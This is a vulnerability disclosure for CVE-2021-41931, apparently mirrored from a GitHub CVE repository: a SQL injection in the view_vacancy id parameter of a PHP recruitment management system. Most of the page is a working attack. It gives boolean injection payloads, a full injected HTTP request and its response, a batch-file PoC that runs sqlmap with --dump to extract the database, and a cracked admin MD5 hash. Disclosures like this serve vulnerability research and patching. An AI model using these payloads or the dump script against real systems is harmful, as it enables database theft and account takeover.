Headline

CVE-2021-41931: CVE-nu11secur1ty/vendors/oretnom23/CVE-nu11-20-100121 at main · nu11secur1ty/CVE-nu11secur1ty

The Company’s Recruitment Management System in id=2 of the parameter from view_vacancy app on-page appears to be vulnerable to SQL injection. The payloads 19424269’ or ‘1309’=’1309 and 39476597’ or '2917’=’2923 were each submitted in the id parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

3 years ago

CVE

Open in Source

#sql #vulnerability #web #windows #apple #apache #git

Description of vulnerability:

The Company’s Recruitment Management System (by: oretnom23) in id=2 of the parameter from view_vacancy app on-page appears to be vulnerable to SQL Injection - Stealing the Password Hashes attacks. The payloads 19424269’ or ‘1309’=’1309 and 39476597’ or '2917’=’2923 were each submitted in the id parameter. These two requests resulted in different responses, indicating that the input is being incorporated into a SQL query in an unsafe way.

Description of the exploit:

Exploit Title: Recruitment Management System is vulnerable to MyQSL injection - Stealing the Password Hashes attacks. Date: 2021-10-01 Exploit Author: nu11secur1ty Vendor Homepage: https://www.sourcecodester.com/user/257130/activity Software Link: https://www.sourcecodester.com/php/14959/companys-recruitment-management-system-php-and-sqlite-free-source-code.html Version: (by: oretnom23) dev

MySQL Request:

GET /employment_application/?page=view_vacancy&id=219424269’%20or%20’1309’%3d’1309 HTTP/1.1 Host: 192.168.1.180 Cookie: PHPSESSID=oku6deve0oo3qbrbbprp5jnb6j Upgrade-Insecure-Requests: 1 Referer: http://192.168.1.180/employment_application/?page=vacancy Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US,en-GB;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Connection: close Cache-Control: max-age=0

MySQL Respond

HTTP/1.1 200 OK Date: Fri, 01 Oct 2021 09:37:56 GMT Server: Apache/2.4.48 (Win64) OpenSSL/1.1.1k PHP/7.4.22 X-Powered-By: PHP/7.4.22 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 12044

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1 …[SNIP]… <h5 class="card-title fw-bold wow">Sample Vacancy 101</h5> …[SNIP]… <div class="fs-5 ps-4">IT Depatment</div> …[SNIP]… <div class="fs-5 ps-4">Jr. Web Developer</div> …[SNIP]… <span class="badge bg-success rounded-pill">3</span> …[SNIP]… <div class="fs-6 ps-4"><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: "Open Sans", Arial, sans-serif; font-size: 14px;">Lorem ipsum dolor sit amet, consectetur adipiscing elit. Proin pretium vel tortor id semper. Donec ultrices sagittis euismod. Pellentesque ultrices lectus in suscipit ultricies. Morbi eget erat enim. Pellentesque habitant morbi tristique senectus et netus et malesuada fames ac turpis egestas. Mauris nec ex non lectus interdum interdum sit amet in lacus. Maecenas eu nulla nec nisi bibendum euismod in a nibh. Nullam quis gravida turpis. Donec hendrerit sagittis arcu quis mollis. Quisque pretium est in turpis pulvinar, nec pellentesque sem sagittis. Quisque ultrices molestie risus id varius. Vivamus sed efficitur erat, quis cursus massa. In in varius purus. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae; Quisque eget cursus nunc. Aenean semper neque velit, quis ullamcorper justo efficitur id.</p><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: "Open Sans", Arial, sans-serif; font-size: 14px;"><b>Qualification:</b></p><ul><li style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: "Open Sans", Arial, sans-serif; font-size: 14px;">Qualification 1</li><li style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: "Open Sans", Arial, sans-serif; font-size: 14px;">Qualification 2</li><li style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: "Open Sans", Arial, sans-serif; font-size: 14px;">Qualification 3<br></li></ul><p style="margin-right: 0px; margin-bottom: 15px; margin-left: 0px; padding: 0px; text-align: justify; font-family: "Open Sans", Arial, sans-serif; font-size: 14px;">In ut ligula et erat ullamcorper imperdiet. Pellentesque vitae justo facilisis, gravida sapien quis, mollis urna. Proin eu aliquam justo. Cras malesuada, nunc ac varius dapibus, orci ante pretium elit, non porta augue lectus sit amet orci. Ut ac porta mauris. Donec venenatis nisi sit amet massa sollicitudin lobortis. Quisque eros lectus, blandit et dapibus eu, gravida a risus. Vivamus sodales rutrum purus ac dictum. Integer massa velit, facilisis at leo vitae, semper congue mi. Vivamus bibendum sem eget porta tristique. Nunc nisl odio, pellentesque nec pellentesque quis, consequat ut neque. Sed elementum vel augue malesuada ultrices. Nullam dapibus mattis leo vitae laoreet.</p></div> …[SNIP]…

PoC r0n1n.bat

@echo off ::Environment cd C:\\Users\\venvaropt\\Desktop\\CVE\\sqlmap :: Exploit python C:\\Users\\venvaropt\\Desktop\\CVE\\sqlmap\\sqlmap.py -u “http://192.168.1.6/employment_application/?page=view_vacancy&id=2” --data="username=PWNED&password=password" --cookie="PHPSESSID=oku6deve0oo3qbrbbprp5jnb6j" --batch --answers="crack=N,dict=N,continue=Y,quit=N" --dump

Decrypt of the password

The password is based on PHP md5() function. So, MD5 reverse for 0192023a7bbd73250516f069df18b500 is admin123

Reproduce:

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Proof:

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